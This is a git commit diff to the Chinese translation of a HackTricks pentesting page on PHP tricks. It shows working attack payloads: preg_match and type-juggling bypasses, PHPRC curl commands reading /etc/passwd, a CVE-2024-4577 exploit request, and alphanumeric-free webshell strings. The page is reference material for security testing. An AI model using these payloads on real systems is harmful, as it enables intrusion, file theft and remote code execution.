Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R

This commit is contained in:
Translator 2024-07-17 12:18:13 +00:00
parent 6f473ea1cc
commit 6815d2ff5c

View file

@ -6,7 +6,7 @@
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
@ -50,7 +50,7 @@ PHP 比较表格:[https://www.php.net/manual/en/types.comparisons.php](https:/
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True字符串中的数字被解释为数字
- `"0e3264578" == 0 --> True` 以 "0e" 开头并跟随任何内容的字符串将等于 0
- `"0X3264578" == 0X --> True` 以 "0" 开头并跟随任何字母X 可以是任何字母)和任何内容的字符串将等于 0
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,您可以控制以 "0" 开头的字符串输入以及正在被散列并与之进行比较的某些内容。因此,如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值,您可以绕过比较。您可以在此处找到具有此格式的**已散列字符串**[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,您可以控制以 "0" 开头的字符串输入以及正在进行哈希并与之进行比较的某些内容。因此,如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值,您可以绕过比较。您可以在此处找到具有此格式的**已经哈希的字符串**[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 字符串中的任何字母等于整数 0
更多信息请参阅 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -84,9 +84,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
**`preg_match()`** 可用于**验证用户输入**(它**检查**用户输入中是否存在**黑名单**中的任何**单词/正则表达式**,如果没有,则代码可以继续执行)。
#### 换行绕过
#### 换行绕过
然而,当限定正则表达式的开头时,`preg_match()` **只检查用户输入的第一行**,如果你可以以**多行**的方式**发送**输入,就可以绕过这个检查。示例:
然而,当限定正则表达式的开头时,`preg_match()` **只检查用户输入的第一行**因此如果你可以以**多行**的方式发送输入,就可以绕过这个检查。示例:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -99,7 +99,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
要绕过此检查,您可以使用新行进行url编码`%0A`发送值或者如果可以发送JSON数据将其发送在**多行**中:
要绕过此检查,您可以使用**新行进行url编码**`%0A`)发送值,或者如果可以发送**JSON数据**,请将其发送在**多行**中:
```php
{
"cmd": "cat /etc/passwd"
@ -109,8 +109,8 @@ echo preg_match("/^.*1.*$/",$myinput);
#### **长度错误绕过**
(这个绕过似乎在 PHP 5.2.5 上尝试过,但我无法在 PHP 7.3.15 上使其工作)\
如果你可以向 `preg_match()` 发送一个非常**大的有效输入**,它将**无法处理**它,你就可以**绕过**检查。例如,如果它在黑名单中列出了一个 JSON你可以发送
(这个绕过似乎是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\
如果你可以向 `preg_match()` 发送一个非常**大的有效输入**,它将**无法处理**它,你将能够**绕过**检查。例如,如果它在黑名单中列出了一个 JSON你可以发送
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -123,7 +123,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
简而言之,问题发生在 PHP 中的 `preg_*` 函数建立在 [PCRE 库](http://www.pcre.org/) 的基础上。在 PCRE 中,某些正则表达式是通过大量递归调用来匹配的,这会使用大量堆栈空间。可以设置允许的递归次数上限,但在 PHP 中,此限制[默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超出了堆栈的容量。
[这个 Stackoverflow 帖子](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中链接,其中更深入地讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式执行 100,000+ 次递归,导致 SIGSEGV使 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,最后在有效载荷的末尾抛出类似 `{system(<verybadcommand>)} `内容,以获取 SSTI --> RCE --> flag :)**。
**发送一个输入,使正则表达式执行 100,000+ 次递归,导致 SIGSEGV使 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效载荷的末尾抛出类似 `{system(<verybadcommand>)} `惊喜,以获取 SSTI --> RCE --> flag :)**。
实际上,在正则表达式术语中,我们并没有执行 100,000 次“递归”,而是在计算“回溯步骤”,正如[PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)所述,默认情况下 `pcre.backtrack_limit` 变量为 1,000,0001M。\
要达到这个目标,`'X'*500_001` 将导致 100 万次回溯步骤50 万次向前和 50 万次向后):
@ -141,9 +141,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## 执行重定向后 (EAR)
## 在重定向后执行EAR
如果 PHP 正在重定向到另一个页面,但在设置了头部 `Location` 后没有调用 **`die`** 或 **`exit`** 函数PHP 将继续执行并将数据附加到主体中:
如果 PHP 正在重定向到另一个页面,但在设置了头部 `Location` 后没有调用 **`die`** 或 **`exit`** 函数PHP 将继续执行并将数据附加到主体中:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -163,9 +163,9 @@ readfile($page);
## 更多技巧
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者配置错误的情况下,**register\_globals** 可能会被激活(或者它们的行为被模仿)。这意味着在全局变量中,比如 $\_GET如果它们有一个值,比如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量**。
* **PHPSESSION cookies of the same domain are stored in the same place**,因此如果在一个域中**不同路径中使用不同的 cookies**,你可以使一个路径**访问另一个路径的 cookie**,设置另一个路径 cookie 的值。这样,如果**两个路径访问具有相同名称的变量**,你可以使**路径1 中该变量的值应用于路径2**。然后路径2将视路径1的变量为有效通过给 cookie 分配在路径2中对应的名称
* 当你有机器用户的**用户名**时,请检查地址**/\~\<USERNAME>**看看是否激活了 php 目录。
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者配置错误的情况下,**register\_globals** 可能会被激活(或者它们的行为被模仿)。这意味着在全局变量中,比如 $\_GET 如果它们有一个值,比如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量**。
* **PHPSESSION cookies of the same domain are stored in the same place**,因此如果在一个域中**不同路径中使用不同的 cookies**,你可以使一个路径**访问另一个路径的 cookie**,设置另一个路径 cookie 的值。这样,如果**两个路径访问具有相同名称的变量**,你可以使**路径1 中该变量的值应用于路径2**。然后路径2将视路径1的变量为有效通过给 cookie 赋予在路径2中对应的名称
* 当你有机器用户的**用户名**时,请检查地址: **/\~\<USERNAME>** 看看是否激活了 php 目录。
* [**使用 php wrappers 进行 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
@ -179,13 +179,13 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### 绕过滥用 PHP 错误的 HTTP 头部
### 绕过 HTTP 头部滥用 PHP 错误
#### 在设置头部后引发错误
从[**这个推特帖子**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)中可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件PHOP 将不会在响应中设置头部。
允许绕过例如在代码中设置 CSP 头部:
允许绕过例如在代码中设置 CSP 头部的情况
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -194,7 +194,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
#### 在设置头部之前填充主体
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印回一些**足够长的内容**,这样当它尝试**将头部添加到响应中**时,服务器将抛出错误。\
在以下场景中,**攻击者让服务器抛出一些大错误**,正如您在屏幕上看到的,当 PHP 尝试**修改头部信息时,它无法**(例如CSP 头部未发送给用户):
在以下场景中,**攻击者让服务器抛出一些大错误**,正如您在屏幕上看到的,当 PHP 尝试**修改头部信息时,它无法**(例如 CSP 头部未发送给用户):
![](<../../../.gitbook/assets/image (1085).png>)
@ -237,10 +237,10 @@ preg_replace("/a/e","phpinfo()","whatever")
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
### 通过usort()实现RCE
### 通过 usort() 实现远程代码执行(RCE
函数用于使用特定函数对项目数组进行排序。\
要滥用此功能
这个函数用于使用特定函数对项目数组进行排序。\
要滥用这个函数
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
@ -260,37 +260,58 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
### 使用 **//** 进行代码注释
### 使用 **//** 进行代码注释
要发现需要关闭的括号数量:
* `?order=id;}//`:我们会收到一个错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。
* `?order=id);}//`:我们会收到一个**警告**。看起来差不多了
* `?order=id));}//`:我们会收到一个错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
- `?order=id;}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。
- `?order=id);}//`:我们收到一个**警告**。这看起来差不多正确
- `?order=id));}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
### 通过 .httaccess 实现 RCE
如果你可以**上传**一个 **.htaccess** 文件,那么你可以**配置**几个东西,甚至执行代码(配置允许执行扩展名为 .htaccess 的文件)。
如果你可以**上传**一个 **.htaccess** 文件,那么你可以**配置**几个东西,甚至执行代码(配置扩展名为 .htaccess 的文件可以**执行**)。
可以在[这里](https://github.com/wireghoul/htshells)找到不同的 .htaccess shells。
### 通过环境变量实现 RCE
如果你发现一个漏洞允许你**修改 PHP 中的环境变量**(还有另一个允许上传文件的漏洞,尽管通过更多研究也许可以绕过),你可以滥用这种行为来实现**RCE**。
如果你发现一个允许你**修改 PHP 环境变量**的漏洞(以及另一个允许上传文件的漏洞,尽管通过更多研究可能可以绕过),你可以滥用这种行为来获得**RCE**。
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
* **`PHPRC`**:指示 PHP **查找其配置文件** 的位置,通常称为 `php.ini`。如果你可以上传自己的配置文件,那么使用 `PHPRC` 来指向它。添加一个**`auto_prepend_file`**条目,指定第二个上传的文件。这第二个文件包含正常的**PHP代码然后由 PHP 运行时执行**,在执行任何其他代码之前。
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
- **`PHPRC`**:指示 PHP **查找其配置文件**的位置,通常称为 `php.ini`。如果你可以上传自己的配置文件,那么使用 `PHPRC` 来指向 PHP。添加一个**`auto_prepend_file`**条目,指定第二个上传的文件。这第二个文件包含正常的**PHP代码然后由 PHP 运行时执行**,在任何其他代码之前。
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件,其中包含一个**`auto_prepend_file`**指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
2. 上传第二个文件,包含一个**`auto_prepend_file`**指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
* 获取有关如何执行此链的更多信息[**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
* **PHPRC** - 另一个选项
* 如果你**无法上传文件**,你可以在 FreeBSD 中使用名为“file”的文件 `/dev/fd/0`,其中包含**`stdin`**,即发送到 `stdin` 的请求的**主体**
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* 或者要获得 RCE启用**`allow_url_include`**并在一个文件中添加**base64 PHP代码**
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* 技术[**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
- 获取有关如何执行此链的更多信息[**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
- **PHPRC** - 另一个选项
- 如果你**无法上传文件**,你可以在 FreeBSD 中使用文件 `/dev/fd/0`,其中包含**`stdin`**,即发送到 `stdin` 的请求的**主体**
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 或者要获得 RCE启用**`allow_url_include`**并在一个文件中添加**base64 PHP代码**
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 技术[**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
### XAMPP CGI RCE - CVE-2024-4577
Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,例如 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) 作为 `php.exe cgi.php foo=bar`,这允许参数注入。这将允许注入以下参数以从主体加载 PHP 代码:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
此外,由于 PHP 后期的规范化,可以使用 0xAD 字符注入“-”参数。查看[**此帖子**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)中的漏洞利用示例:
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
```
## PHP静态分析
查看是否可以在对这些函数的调用中插入代码(来自[这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be):
@ -301,13 +322,13 @@ $_COOKIE | if #This mea
```
如果您正在调试PHP应用程序可以在`/etc/php5/apache2/php.ini`中添加`display_errors = On`来全局启用错误打印并重新启动apache`sudo systemctl restart apache2`
### 解PHP代码
### 解混淆PHP代码
您可以使用**网站**[**www.unphp.net**](http://www.unphp.net)**来解PHP代码。**
您可以使用**网站**[**www.unphp.net**](http://www.unphp.net)**来解混淆PHP代码。**
## PHP包装器和协议
PHP包装器和协议可以让您**绕过系统中的写入和读取保护**从而对其进行破坏。有关[**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
PHP包装器和协议可以让您**绕过系统中的写入和读取保护**对其进行破坏。有关[**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
## Xdebug未经身份验证的RCE
@ -327,7 +348,7 @@ echo "$x ${Da}"; //Da Drums
```
## 利用新的 $\_GET\["a"]\($\_GET\["b"])
如果在一个页面中**可以创建任意类的新对象**则可能能够获得RCE请查看以下页面以了解详情:
如果在一个页面中你可以**创建一个任意类的新对象**你可能能够获得RCE请查看以下页面了解详情:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -357,16 +378,16 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
所以,如果你可以**执行任意PHP代码而不使用数字和字母**,你可以发送如下请求来滥用该有效载荷来执行任意PHP代码
所以,如果你可以**执行任意PHP代码而不使用数字和字母**,你可以发送一个请求,滥用该有效负载来执行任意PHP代码
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
了解更详细的解释,请查看[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
获取更详细的解释,请查看[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### 异或 Shellcode在 eval 中
### XOR Shellcode在eval内部
```bash
#!/bin/bash
@ -437,7 +458,7 @@ $___($_[_]); // ASSERT($_POST[_]);
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>